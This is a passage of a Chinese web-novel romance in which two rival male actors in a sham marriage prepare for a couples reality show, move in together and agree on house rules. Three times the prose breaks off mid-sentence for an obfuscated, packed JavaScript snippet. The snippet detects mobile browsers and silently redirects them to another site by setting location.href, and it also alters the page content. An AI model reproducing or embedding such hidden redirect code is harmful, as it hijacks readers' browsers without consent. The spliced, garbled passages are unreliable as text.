夏导的眼光一向毒辣,他注重的点,同样也会是金木奖的评委们所看中的,如果他真的靠和顾听舟假结婚骗过夏导,强行出演这个剧本,他无法确定自己能否真正演好这部电影,更遑论拿奖。 但是…… 易淮江目光微顿,书房内一时安静得像是被按下了静音键,连书页翻动发出的沙沙声都在不知不觉中沉入一片静谧。 直到手机忽然响起,落针可闻的书房终于被这声微信消息的提示音突兀地打破了沉默。 【八仙过海鲜粥】:? 顾听舟回家路上就被这人说话说一半的破习惯气得不行,回家洗完澡想逛逛朋友圈,又不由自主地想起这事,最终还是决定抓着人把话说清楚。 看着对面原模原样送回来的问号,顾听舟磨了磨后槽牙,直接从床上坐了起来,盘腿抱着手机,目标明确地引用了前面易淮江问他在哪的那条消息。 【八仙过海鲜粥】:文姨有没有告诉过你,说话说一半是要挨锤的。 【八仙过海鲜粥】:/看见这个巴掌了吗.jpg 易淮江微冷的表情在看到那只举着爪子跃跃欲试要抓人的小猫表情包后,不自觉舒缓下来。 他没想到顾听舟能这么执着。 【氧化氢】:现在没了。 【八仙过海鲜粥】:??? 【八仙过海鲜粥】:你把我从黑名单拉出来至今才发了一条消息,就为了放个屁? 【氧化氢】:。 顾听舟看着那个句号,忍不住翻了个白眼,手上打字的速度快得像是要戳死屏幕另一边的人。 【八仙过海鲜粥】:你再发个句号试试? 易淮江挑了挑眉,指尖微动,刚敲出一个崭新的句号,那边的消息已经先一步跳了出来。 【八仙过海鲜粥】:知道什么叫过河拆桥吗? 【八仙过海仙粥】:知道什么叫卸磨杀驴吗? 【八仙过海仙粥】:知道什么叫鸟尽弓藏吗? 连发三条消息,连停顿都没停半秒,威胁的意味溢于言表。易淮江见好就收,默默删除了对话框里还没来得及发出去的句号。 【氧化氢】:威胁我 这话说得,怎么弄得好像他欺负人似的,顾听舟眉毛一皱。 【八仙过海鲜粥】:不要扯开话题! 【八仙过海鲜粥】:你发消息给我是不是想说综艺的事? 其实就算易淮江不来找他,顾听舟心里也清楚,光是今天这场不到半天的预告片拍摄,他们两个人就已经暴露出了很多问题。 演情侣,尤其是要和对方演情侣,不管是对易淮江还是对他来说,都很困难。 如果说今天之前他们还能自我安慰,凭他们俩的演技可以骗过摄像头,但经历过今天的拍摄之后,顾听舟是真的犹豫了。 他觉得他和易淮江就是天生的磁场不合八字相克,每次牵扯上这个人,就总是没什么好事。从小到大都是这样。 而且,今天的拍摄还只是棚拍,也就一个下午的时间,等到正式录制,之后的每期节目,一周七天,他都要在摄像机360°无死角的直播下和易淮江扮演情侣…… 想到这个未来,顾听舟觉得自己心跳都不想跳了。 以他俩的相处模式,也许都等不到一期节目结束,他俩假结婚的事就能被网友们的火眼金睛扒出来,然后潦草地以退圈收场。 【八仙过海鲜粥】:威廉说,夏导答应你拍完这个综艺就能进组? 顾听舟试图挣扎,万一这是威廉为了诓他答应上综艺扯得谎…… 【氧化氢】:嗯 顾听舟:…… 从来没有觉得一个字能这么冰冷过。 易淮江像是看破了他的企图,紧接着又发了一条消息。 【氧化氢】:合同都签了,现在才想起来问我? 顾听舟无言以对。 合同都签了,就算真是威廉诓他,那他也已经上了这条贼船。 【八仙过海鲜粥】:…… 【八仙过海鲜粥】:对于今天的拍摄,你就没有什么想说的? 【氧化氢】:。 一个句号,仿佛囊括了千言万语。 顾听舟看着这敷衍的标点符号,一时被气得不轻。 他就多余问。 反正官宣的微博发出去,他自己的事就算是已经解决了,易淮江也靠这个联系上了夏导,后面就算再出什么事,那反正也不是他一个人的锅。 这人拍不拍得上戏,能不能进夏导的组,跟他又有什么关系!大不了就熬一年,等结婚协议到期了反正也能离婚。 顾听舟把屏幕一关,手机往枕头上一丢。 他再主动找这人说话他就是狗。 顾听舟心里憋着气,一翻身下了床,几步走到了衣柜前。 三两下从衣柜里的某个角落里拽出一只半米高的玩偶葫芦,长得还算是憨态可掬,只可惜某个比它更锯嘴的气人玩意显然对顾听舟的影响更深刻。 顾听舟拎着葫芦在衣柜前坐下,抬手狠狠揉搓了一番葫芦蓄满了棉花的脑壳犹不解气,自己动手在它没画出来的嘴巴的位置捏出了个鸭子嘴,他越想越生气:“我是脑子抽了才管你的死活。” 顾听舟一巴掌拍在它圆咕隆咚的肚皮上:“活该。” “自个儿倒霉去吧。” 顾听舟把葫芦翻来覆去地折腾了一番,最后又重新拉开了衣柜最边上的柜门,把它塞进了原先摆放的角落,接着一把关上门。 “在这给我好好想,不会说话就把嘴巴捐了算了。”顾听舟抬脚踢了踢柜门,显然对某人意见很大,“一天天地净招人烦。” 话音还未落下,床上被他一把丢开的手机忽然响了起来。 这个点,谁会给他打电话? 顾听舟做了个深呼吸,这才走到床前捞起了自己的手机,来电是个没有备注的电话号码,已经响了有一会儿了。 顾听舟皱了皱眉,最后还是选择了接通。 “喂。” “你竟然会接。”易淮江有些惊讶。 我只是一时眼瞎。 顾听舟拧着眉把手机拿远,刚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16842514|191342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要挂断,却听见听筒里又接着传来一声“等等”。 顾听舟的手指在空中停顿一瞬,很快便又继续下落。 “顾听舟。”易淮江的声音和他常用的香水有着异曲同工的特质,却又比薄荷更加冷冽,像是冬日雪地里的薄荷,光是听着都像是在簌簌地掉碎冰,“你想帮我?” “哈。”顾听舟冷笑一声,“想多了,我只是来看戏的。” “又在对我的葫芦做什么?” “什么你的葫芦?”顾听舟反驳,“那是我的。” “我花的钱。” “那是我的生日礼物。”顾听舟强调。 易淮江垂着眸,剧本上的空白处整整齐齐地记满了他的笔记和分析,可此时,这些字句并没有留住他的目光。 易淮江一针见血:“你想反悔。” 顾听舟:“……” 顾听舟:“对,你不想吗?” 顾听舟反问:“今天只是拍一段预告片,易淮江,我不信你想不到等正式录制我们两个会怎么花样百出地露馅。” “每期都是直播,你能确定我们俩不会因为某件事忽然吵起来吗?比起那些真情侣,我们连最基本的默契都没有,之后的综艺游戏如果成绩回回垫底,你能接受吗?” “易淮江,这不是靠卷能卷出成果的事情,你的卷王属性在这没有发挥的余地,OK?” 顾听舟破罐子破摔,干脆把心里想的一股脑倒了出来,炮轰似的砸向对面。 易淮江却似乎并没有被他影响,语气依旧平静:“顾听舟,你是不是偶像剧演多了。” 顾听舟愣了下:“反正比你多。” 易淮江:“……我没演过偶像剧。” 顾听舟:“……” 现在是讨论谁演的偶像剧更多的时候吗?你出道就演电影你牛/批行吧。 没等他回答,易淮江合上了面前的剧本,接着道:“合同已经签了,我不会违约。” “演不了相亲相爱,我们还可以演相爱相杀,就算‘相杀’的占比大了点,也还有公关团队帮忙带风向。” “至于相处问题,白哥有个建议……” 顾听舟感到不妙:“你先说。” “他说让我们试试同居。”易淮江冷静转述,“据说可以促进交流。” 顾听舟:“?” 顾听舟:“他知道我们当了20年的邻居吗?” 易淮江:“知道。” 顾听舟:“隔着一堵墙交流了20年,我们吵得还少了?” “没有20年,高中毕业之后我没在家里住。”易淮江十分严谨,“成年人要勇于尝试。” 顾听舟属实是被“同居”两个字震撼到了,他无法理解,易淮江到底是怎么做到脸不红心不跳地对着自己20年的死对头说出这两个字的? 顾听舟选择各退一步:“要试你自己试,打死你我都不可能和你睡在同一个屋檐下。” “综艺可以上,同居,没门。” 顾听舟留下最后一句,紧接着干脆利落地挂了电话。 易淮江看着屏幕上跳出来的“通话已结束”,眼神复杂。 顾听舟真的知道自己上的是个什么节目吗? 作为一档邀请的嘉宾全是已婚夫妻/夫夫的婚综,顾听舟难道以为他俩还能睡两个房间? 顾听舟不情不愿的反应反而让易淮江莫名多了些期待。距离节目正式开拍只剩一周,他倒是想看看,等这人终于转过弯来发现要和自己这个“20年的死对头”睡同一张床,会是个什么表情? 12. 和平共处 “你们什么想法?” 包厢里,威廉看了一眼另外几人,低头把节目组发来的最新消息调出来,摆在了餐桌上:“事出突然,节目组那边既然准备提前拍摄日期,大概最早明天,最晚后天就会上门,安装摄像头之后还要调试,我们必须早做准备。” 距离节目正式开始拍摄还有三天,节目组忽然通知,由于原定的一组嘉宾档期临时有变,无法参与首期节目拍摄,第一期节目缺了一组嘉宾,后续剪辑的时长预计不够剪出完整的四期内容,所以为了弥补时长,节目组希望能在各位嘉宾出发前,拍摄一些在家的相处片段。 档期方面,顾听舟和易淮江自然是没有问题,他们行程虽然多,但两位经纪人都提前做好了规划,早早就把节目拍摄这段时间的档期空了出来。 可偏偏节目组提出的要求是补一段嘉宾们出发前在家的日常…… 顾听舟没好气地瞟了眼对面的易淮江,看着满桌的菜,兴致缺缺。 这人上辈子是乌鸦转世吗?怎么说什么来什么。 包厢里没有别人,顾听舟脸上的表情也丝毫没做遮掩,或者可以说,他质疑的眼刀子是明晃晃朝易淮江飞过去的。 易淮江默然。虽然他确实向顾听舟转达过同居的建议,但他也没想到节目组会临时出现这么大的纰漏。 白朝彩看了看两位艺人:“其实我原先也有这个想法,住在一起对彼此的了解会加深不少,说不定还能缓和一下关系。” “顾老师和淮江毕竟也是合作关系,关系缓和一点对大家都好,是不是?” 顾听舟欲言又止。 这话换易淮江问,他张口就能驳回去,但白朝彩是经纪人,会这么问也确实是在为双方考虑,顾听舟没想为难他,便含混地“嗯”了声。 威廉会特意约对面两位见面聊也是为了这个。虽说顾听舟脾气不小,但一向嘴硬心软,尤其是对像白朝彩这样半熟不熟的人,不仅脾气收敛许多,也好说话不少。他正打算趁热打铁,却听见刚刚被放在桌面上的平板忽然“叮”地响了一声。 四人的视线都被这道声音吸引,转眼一瞧,顾听舟额角忍不住跳了下。 《恋爱百分百》官博卡在12点准时发布了预告片。与此同时,节目组的工作人员也同步给几位嘉宾的经纪团队发了提醒消息。 几人的临时会议被迫中断。 威廉拿着平板先把预告片倍速过了一遍,确认没什么大问题后又在评论区逛了一圈,或许是视频刚发,评论区里都是《恋爱百分百》的综艺粉,一水的期待和加油,只有少数几条评论在最底下格格不入地问为什么他家大热CP没有被邀请。 再热能有他桌上这两位热?威廉收起平板,刚想提醒顾听舟转官博配合宣传,就见自家艺人已经从“发布完毕”的页面退了出来。 威廉十分欣慰地点了点头,然后眼疾手快地按住了顾听舟蠢蠢欲动试图逃离的腿。 威廉:“祖宗,不管怎么样,合同咱们都签了,证也领了,糊弄个同居而已,你可以的!你要相信自己!” “我不可以。”顾听舟试图挣扎,但最终还是被威廉按回了椅子上。 威廉幽幽道:“但是现在你也回不去了……《恋百》那边发了预告,我刚看了一眼,确认出场的三对嘉宾里,除了你和易影帝之外,还有两对热门情侣,光是你们六个的热度,今天的热一绝对没跑了。” “而且这是你和易影帝官宣后首次合体……也不对,这算是你俩从出道至今的首次合作同框,各大营销号旗下的狗仔也正盯着你俩呢,你现在一个人回去,估计等不到天黑就能爆出你俩婚变的谣言。” 威廉按住了自家艺人,扭头看向另外两人:“既然签了合同,我们肯定会配合节目组的拍摄要求。这次约两位过来,也是想和你们好好商量商量。” 威廉问:“听舟目前住在市中心的明月豪庭,你们应该离得也不远吧?” 明月豪庭地处海市中心,寸土寸金,相应的配套安保措施也十分优越,不少当红明星就是看中了它的地段和私密性。 白朝彩摇摇头:“淮江住得偏。他对环境要求比较高,也不喜欢吵闹,所以很早就搬到了靠近郊区的万华湾。” 顾听舟当即挑了挑眉,易淮江什么时候多的毛病?他记得上学那时候就算是运动会,广播从早到晚扯着个嗓子汇报,这人也能跟聋了一样往教室里一坐就是一天。 威廉一喜:“万华湾?住得偏那不是刚好!我还担心舟舟住在市中心太显眼,你们到时候搬过来太明显,也容易被拍到。” 顾听舟住在市中心,虽说交通方便,周围也便利,但人多口杂,每次出门都少不了狗仔在身后偷偷跟着。今天节目组又刚刚发了预告,眼下热度飞涨,几位嘉宾的关注度也瞬间拔高。 顾听舟扭头瞪他:“韦高达!” 威廉手疾眼快地按住了他:“那就让听舟搬过去?往郊区搬的话,环境安静,也比较不容易被发现。” 白朝彩也认同他的提议,顾听舟被威廉按着代为同意,于是几人的视线纷纷落在了易淮江的身上。 易淮江看着顾听舟满脸写着“不情不愿”和“被迫就范”八个大字,从容不迫地抿了口微温的茶水:“看我干什么?” 他眼底划过一抹狡黠,朝顾听舟挑了挑眉:“欢迎。” * 录制在前,既然决定了暂时同居,顾听舟只好催眠自己只当是同组演员被安排在了同一个酒店。 虽然这位“同组演员”姓易名淮江,虽然这个临时居住地的房产证上写着易淮江的大名,且整套房子都是这人疑似性/冷淡的装修风格。 直到威廉替他回家收拾送来的两个大行李箱被送到了主卧,顾听舟此前勤勤恳恳给自己做的心理建设直接全盘崩塌。 仿若一道闪雷蓦地在他脑子里噼里啪啦一通狂轰滥炸。顾听舟后知后觉地耳根一热,不自觉拖着行李箱往后退了半步。 顾听舟:“你家没有客房?” 易淮江:“原来有。” 顾听舟迟疑:“……那现在呢?” 易淮江:“我买下来之后就改成了健身房。” “易淮江。” 顾听舟表情复杂地盯着卧室中央摆着的那张大床:“你这算欺诈消费者。” “第一,我们领结婚证的时候没花钱。”易淮江拎着只刚从衣柜找出来的枕头走近,视线在他微微发红的耳垂上停顿了两秒,“第二……” 他伸手握住了拉杆的另一端,垂眸俯身,故意道:“顾先生,你现在是已婚。” 远超过正常社交距离的对视,杜松混着薄荷的冷冽木质香随着两人之间被猛地压缩的距离忽然明晰。顾听舟被他的动作逼得不自觉又往后退了两步,手里的手机被他握着边角抵在了某个忽然抽风耍流氓的人肩头。 “烧坏了就去医院。”顾听舟的耳根像是被杜松的辛香刺激,止不住的发烫,嘴上却还停不下来地胡咧咧,“你也是已婚,注意点距离行不行!” 易淮江顺着肩上传来的力道直起身,转身时眼底眸光微动。这么多年他竟然都没发现,某人的脸皮居然薄成这样。 就这,当初还敢那么嚣张的放狠话和他赌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16842515|191342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气结婚? 易淮江把手里新找出来的枕头随手丢在床尾,又翻出了两床厚被子。 顾听舟缓过了神,看着他翻出来的新被子,扒着房门又叫他:“两床被子也不行,我不会跟你睡一张床的!” 易淮江头也没回,提醒道:“你觉得节目组会给我们安排标间?” 顾听舟:“……” 草,他给忘了。 顾听舟垂死挣扎:“但是、但是……我觉得实在不行,你家沙发也挺好看的。” “但是现在没有摄像机,没必要演。”易淮江把他犹豫着没说完的话接完,这才把手里的一床被子铺在了地上,“我有说我们要睡一张床吗?” 顾听舟看着这个简易的地铺,总算长舒了一口气,不睡一张床就不睡一张床,非要兜这么一大圈。 逗他很好玩吗?! 见他动作娴熟地整理地铺,顾听舟勉强把嘴边的话咽回了肚子里。地铺就地铺,怎么也比沙发好点,他宁可躺地板上也不想在黑漆漆的客厅里四面漏风地缩在沙发上硌脑袋。 顾听舟在把两个行李箱都拉进了房间,随手打开了其中一个,看着满满一箱子的东西,忽然陷入了沉默。 易淮江铺好了被子,转过身见他一脸欲骂还休的复杂,视线往他行李箱里扫了眼。 易淮江没忍住挑了挑眉。 “你经纪人把你的玩偶全搬过来了?” 威廉出发前,顾听舟确实交代过他带上房间里的玩偶,至于衣服和洗漱用品就随他在衣柜里拿。反正他天生就是个衣架子,就算是套个麻袋也帅。 威廉确实把他的话听进去了,但也不至于整整塞了一个行李箱吧?他是打算让自家艺人晚上直接用玩偶铺张床睡觉么…… “想多了。”顾听舟头也不抬地回怼,“这才哪到哪儿?带一点过来装装样子而已。” 顾听舟默默把箱子推到墙边,面无表情地打开了另一个行李箱。幸好,这一箱的东西还算正常,衣服和日常用品都带齐了。 易淮江走近,煞有介事地打量了一番墙边那个箱子里塞得满满当当的玩偶,有不少还有些眼熟。 他转头看向默默收拾行李箱的顾听舟:“……一点?” 顾听舟:“……”你少说两句会被自己憋死吗? 顾听舟磨了磨后槽牙,没等抬头,余光先在箱子角落里瞥见某个极其眼熟的颜色。 估计是威廉收拾衣柜的时候顺手也把它塞了进来。 他一把从一堆衣服底下薅出那只快被挤扁了的葫芦朝某人砸了过去。 易淮江轻轻松松地接住了玩偶葫芦,捏着葫芦上意外地没有被压扁的“嘴”晃了晃,“好心”科普:“初初,家暴犯法。” 顾听舟磨了磨后槽牙,这人一天到晚哪来那么多乱七八糟的称呼:“如果不是杀/人犯法,你现在已经被我用那一箱子玩偶埋了!” 或许是威胁起了作用,易淮江终于没再故意招惹他。顾听舟安安稳稳地整理了一会衣服,半点也没有要沾染某人衣柜的意思。反正大学回家的时候,他的行李也总是就这么塞在行李箱里,往房间角落一放就是一整个假期。 易淮江看着他收拾得差不多了,这才拎着那只葫芦靠近,在行李箱的另一侧忽然蹲下,伸手按住了顾听舟正要关起来的箱子。 顾听舟警觉地抬眸看他:“你又要干什么?” 易淮江的视线滑过他已经褪去绯色的耳垂,心头忽然泛起点说不清道不明的遗憾。 他轻咳了声,重新看向那双琉璃似的眼睛:“顾听舟,我们要不要试试和平共处?” 13. 约法三章 额头忽然贴上一只手掌。 顾听舟一脸看傻子的表情用手背在他额头上贴了下,又伸到自己额头上试了试:“没发烧啊。” “你什么时候把脑子摔坏的?” 易淮江:“……” “只在合同存续期间。”易淮江拿手里的葫芦往行李箱上敲了敲,补充道,“还是说你真的想在节目上暴露我们假结婚的事实?” 那必然是不想的。顾听舟刚刚扔得潇洒,现在看他把葫芦当锤子玩,心里却又有点不是滋味,悄悄伸手一把将葫芦拽了回来。 顾听舟将信将疑:“你说认真的?” 易淮江:“当然。” 合约在身,拍摄难点又明明白白地摆在面前,有人主动求和,顾听舟自然不可能傻到拒绝提议。 “可以。”顾听舟揉了揉蹲得发酸的小腿,干脆盘腿坐在了地板上,“但是,为了防止有人钻漏洞……” 他伸手比了个“三”:“我们必须约法三章。” 易淮江点头:“没问题。” 顾听舟放下一根手指:“首先,在没离婚之前,不准出轨。” 易淮江挑了挑眉,意味深长:“……你最在意的竟然是这个?” 顾听舟还以为他对这条内容有意见,当即拧起了眉:“这是最基本的契约精神。” “你要是做不到,我们的合同也没必要继续了。” 易淮江简直要被他气笑了:“顾听舟,我要是真有谈恋爱的打算,至于找人假结婚吗?” 顾听舟梗了一秒,这话说得倒是没毛病…… “你就说你答不答应吧。” 易淮江颔首:“没问题。” 顾听舟接着道:“第二,不许故意找茬。”虽然他也经常忍不住找易淮江的茬,但既然现在暂时算是一条船上的人了,他可以勉强先把这20年的娃娃仇搁置一会。而且约定对双方生效,光是这条估计就能有效规避不少他俩掐架的苗头。 “这条我也没意见。”易淮江在他话音未落时忽然伸手握住了他举着的右手,还剩最后一根小拇指尚未收回手心。 “最后一条。”易淮江意有所指地瞥了眼两人丢在床尾的手机,“合约存续期间,不准随意拉黑。” “就这?”顾听舟点头,“可以。” 易淮江握着他的手往两人面前挪了挪,顾听舟刚皱了皱眉,却见下一秒,面前这人就伸出了另一只手,镜面似的也只竖起一根小拇指,没等他反应过来,直接勾住了他的手指。 微凉的触感忽然贴住了他的手指,顾听舟仿佛被一股极微弱的电流电了一下,尾指不受控制地蜷起,当即反勾住了另一人的手指。 易淮江松开了握着他手腕的左手,伸直了手臂从床尾摸来了手机,严谨地打开了录音。 丝丝缕缕的薄荷味仿佛沿着两人勾缠的手指蜿蜒而上,顾听舟不太自然地顿了顿,问:“干什么?” “录音留证。” 易淮江举着手机:“约法三章,不出轨,不找茬,不拉黑……如有违反?”他抬眸看向顾听舟,手中的手机也一并向前递了递,示意他接着说。 顾听舟扫了眼屏幕上的录音软件,语气依旧嚣张:“如有违反,任由对方处置。” 两人还算顺利地达成了和平共处的协议,顾听舟火速收回了手,紧接着就要把刚刚被某人拦下的行李箱合上。 易淮江也站起身,随手掸了掸衣摆并不存在的灰后,视线从那两个大箱子上一扫而过:“衣柜留了空,你随意。” 顾听舟“哦”了声,按着行李箱的手一松,又把它摊开来摆在了地上,再抬头时,已经看不见易淮江的人影。 顾听舟拿衣服的动作一顿,下一秒就把刚刚被他按在腿上的葫芦玩偶薅了起来,心情复杂地揉了一顿。刚刚讨论约法三章的时候没什么感觉,但现在一想到他接下来要和易淮江“正常相处”,他就觉得浑身不自在。 “还有……” 忽然响起的冷冽声线吓得顾听舟刚跑的神猛地回归原位,易淮江站在门口,视线落在他手里的葫芦上。 “你要吓死个人啊。”顾听舟瞥他。 易淮江把一串钥匙丢过来,被顾听舟一把接住。 “商量一下?”易淮江瞟了眼被揉搓得无比沧桑的葫芦,遥遥伸指点了点,“对它也好点?怎么说现在也是在它本体的房子里,起码让它有个葫芦样?” 顾听舟垂眸瞥了眼,什么叫没葫芦样……他顿了顿,玩偶身上那个被捏出来的嘴依旧十分顽强地宣示着自己的存在感,好好一只葫芦,配上这么个不伦不类的鸭子嘴…… 确实,不太好看。 顾听舟三两下把那团棉花塞回了葫芦里。易淮江见他还没收拾完,便又自顾自地离开了。 顾听舟伸长了脖子,确认他真的走了,这才长长输了口气。然而一口气还没松到底,下一秒,他丢在床尾的手机就又响了起来。 “舟舟啊,行李收拾得差不多了吧?还有没有什么缺的,我给你送过去?” 顾听舟余光瞥见墙边那一箱子玩偶,冷哼一声没说话。 威廉语气里显然透露着一丝丝心虚:“我也是刚刚才想起来问……易影帝家里好像没客房……” 白朝彩虽然是易淮江的经纪人兼司机,却也没进过他家,威廉把两个行李箱送进上楼的电梯里后,随口问了句,两人也才后知后觉地有些尴尬。 威廉小心翼翼:“要不我买张折叠床同城过去?” 顾听舟:“……” 顾听舟咬牙切齿:“你要不干脆给我买个睡袋好了,没用了团吧团吧还能塞衣柜里藏着。” 威廉大惊:“易淮江家里连多的被子都没有吗?!” “……” 被子是重点吗??? 顾听舟气结:“韦高达,你把我塞到别人家里之前怎么不想想我会没地方睡?” “易淮江家里要真什么都没有,我今晚直接半夜顺着网线爬去你家鸠占鹊巢!” 威廉悻悻地摸了摸鼻子:“易老师应该不是这种人吧,我觉得他的人品应该还可……” 人品?易淮江简直是把惹毛他当乐趣。 反正当事人不在面前,他也不算找茬,顾听舟当即扬了扬下巴,恶狠狠地威胁道:“你再说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16842516|191342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一遍?” 威廉火速改口:“……我相信以你的实力绝对能让易影帝心服口服!” ? 这话听起来怎么还是怪怪的…… * 留顾听舟在卧室里单独收拾东西,易淮江随手从阳台上收了浴巾和浴袍,径直去了浴室。 顾听舟和威廉掰扯了半晌,一通电话打完,两个行李箱也差不多收拾好了。甚至考虑到两人才定下的“不找茬”条例,顾听舟格外收敛地只简单拿了几个玩偶在卧室里摆了摆。 挂完电话才想起来易淮江已经消失好半天了,干脆打着找人的名头在这套房子里四处转了转,简单熟悉了下布局,最后才在某个门缝里透着光的房门外停了下来。 他刚刚已经把整套房子逛了个遍,参考易家的装修布局,眼前这间,估计是书房。顾听舟在门口打量了两眼,便又回了卧室,拎着自己的洗漱用品去了浴室。 书房里,易淮江还在研究剧本。 顾听舟从来就不是个内向的性子,大学以前,两家人一直住在隔壁,逢年过节也都是一块过的。他一向话少,对比之下,隔壁家这个只小自己一岁的弟弟嘴甜又会撒娇,长得漂亮还擅长逗长辈开心,他爸妈就经常拿好吃的诱惑顾听舟在他家留宿,虽说因为他俩不怎么和谐的关系,顾听舟从来没真的在他家睡过觉,却也从来没在他家见过外。 也因此,易淮江半点也没有要作为主人招待客人的自觉。 而顾听舟,现在估计也还需要一段时间消化一下他俩已经统一了战线的事实。 易淮江垂眸,笔尖在纸面上摩擦发出细微的“沙沙”声,剧本的边角空白处挤满了他遒劲利落的笔迹。 这一页的剧情恰好进行到主角回忆童年的桥段,似是想起些什么,易淮江难得跑了神,等到再垂眸时,笔尖不知道什么时候已经在手上留下了一道长长的墨迹。 易淮江几不可察地皱了皱眉,合上笔帽,把笔夹进剧本搁置在了桌头,起身走出了书房。 一路上静悄悄的,易淮江却并未察觉,注意力依旧落在手上那道墨渍上,目的明确地走向了浴室。 主卧也有洗手间,但易淮江此时并不太想去主卧。那些不太好的情绪来自他的过往,来自那份条件严苛到近乎不可能完成的对赌协议…… 同样也不可避免地涉及到了顾听舟。 易淮江垂着眸,几乎是下意识地避开了顾听舟可能在的卧室。 余光隐约瞥见浴室关着的门缝里透出的几缕微光,易淮江眉间郁色更沉,他离开后忘了关灯? 脑海中隐约察觉不对,但这道微弱的意识不过是一闪而过,易淮江没有丝毫停顿地握住了浴室的门把手。 随着“咔哒”一声极细微的响动,门应声而开,浴室里的光从打开的门缝往外挤,易淮江自然而然地抬眸,淡漠的目光却猝不及防撞上一片雪白。 而与此同时,随着门被打开,初春不算温柔的凉风也静悄悄在往浴室里飘。 顾听舟刚洗完澡只随意围了条浴巾,被冷风一冻,忍不住打了个寒颤,下意识扭过头,却没想到撞上了一张熟悉的冰块脸。 14. 颠倒作息 那一抹白实在是太晃眼,易淮江愣了一瞬,直到倏然对上顾听舟的眼睛,才仓促地一把关上了门。 一道门,隔开了两个傻了眼的人。 易淮江背过身,揉了揉突突跳个不停的太阳穴,方才在书房里的那点心烦意乱都被这一眼冲散得干干净净。 顾听舟从小被两家人宠着长大,二十多年养出来个娇生惯养的大少爷,连那身月一样白的皮肤都透着金贵。 身上只松松垮垮围了条浴巾,薄韧的脊背,线条分明的蝴蝶骨,细窄的腰,还有那道隐没在浴巾下的脊柱沟。 简直……一览无遗。 等放下手,才恍然惊觉自己还没来得及洗去墨迹。易淮江顿了顿,垂眸看着指尖那抹已经有些晕开的墨痕,手指蜷起又伸直,难得有些手足无措。 而一门之隔的浴室里,门刚被关上,顾听舟就没忍住低声骂了一句。 倒不是骂易淮江。 他一个人住久了,习惯了在屋子里肆无忌惮,虽然脑子里还记得自己现在是借住在易淮江家,但肌肉记忆太过恐怖,他也完全忘了纠正,顺手关了门就没想起来要反锁。 顾听舟维持着看向门口的动作僵持了半秒,这才恶狠狠抹了把脸,把头扭了回来,忍着猝然间火烧火燎的耳根继续拧他的毛巾。直到捧着被热水浸泡得柔软的布巾把整张脸捂了几秒后,顾听舟猛地抬起了头。 不对。 他又不是没穿,他尴尬个什么劲?他身上可还围着浴袍呢,露个腹肌而已,拍戏又不是没露过上半身,而且现在这房子里就他们两个,他们还都是男的,被看了一眼而已,又不是少了块肉,有什么大不了的? 顾听舟茅塞顿开,抹掉了镜面上薄薄的水雾,对着镜子认真打量了一眼自己的六块腹肌,虽然看起来好像薄了点,腰也过于细了点,但总的来说还是非常完美。 满意地点了点头,顾听舟当即把毛巾往架子上一挂,睡袍都不披了,捋了一把额前被热汽蒸腾湿了的细碎金发,直接围着浴巾大摇大摆地拉开了浴室的大门。 然后…… 对上了一个冷漠至极的后脑勺。 易淮江以为他收拾好了,听见浴室门开的声音,便转过了头,没成想再次撞上了一片莹白…… 易淮江反应飞快地挪开了视线,眉头皱得看起来能直接夹死一只苍蝇,余光瞥见这人胳膊上搭着的睡袍,没忍住开口道:“顾听舟,你在耍什么流氓?” “我又不是没穿。”顾听舟坦坦荡荡地抖了抖自己的睡袍,语气促狭,“你躲什么?” “大家都是男人,有什么不能看的?” 这段时间被某人三番两次挑衅,偏偏当着镜头的面他还不好说些什么,顾听舟憋着这早晚得报复回来的心思很久了。 顾听舟得寸进尺地伸手在他眼前晃了晃:“怎么,身材没我好,自惭形秽了?” 易淮江:“……” 易淮江默默呼出一口气,视线依旧定在别处,幽幽凉声道:“顾听舟,你还记得我们现在是什么关系吗?” “盟友?”顾听舟自觉占了上风,语气显而易见的有些飘,“同一条绳上的倒霉蚂蚱?” 易淮江闭了闭眼,勉强把那抹白从脑海里赶了出去,总算转回了头,重新对上了那双得意洋洋的漂亮眼睛。 易淮江摇头:“还有。” 顾听舟:“还有什么?从小一起长大的死对头?小初高的同校同学?又不是同级,连考试题目都不一样,这也要算?” 顾听舟显然已经把自己给绕进去了。 易淮江无语了一瞬,紧接着微微俯身,故意放缓了速度缓缓靠近。两人的身高只差了4厘米,但不知道为什么,这人低头逼近时,顾听舟总是不由自主地想往后退。 易淮江深知这人嚣张的气焰一旦燃起来就很难轻易压下去。但毕竟才答应过不主动找茬,易淮江只能另辟蹊径,试了试他才发现没多久的新方法。 “初初。”易淮江抬手拨弄了下他耳垂上的银钉,故意道,“我们可是合法合规的夫夫,民政局盖过了章也见过了父母的,你确定要这样……” 他的目光意有所指地往下滑了一瞬:“投怀送抱?” 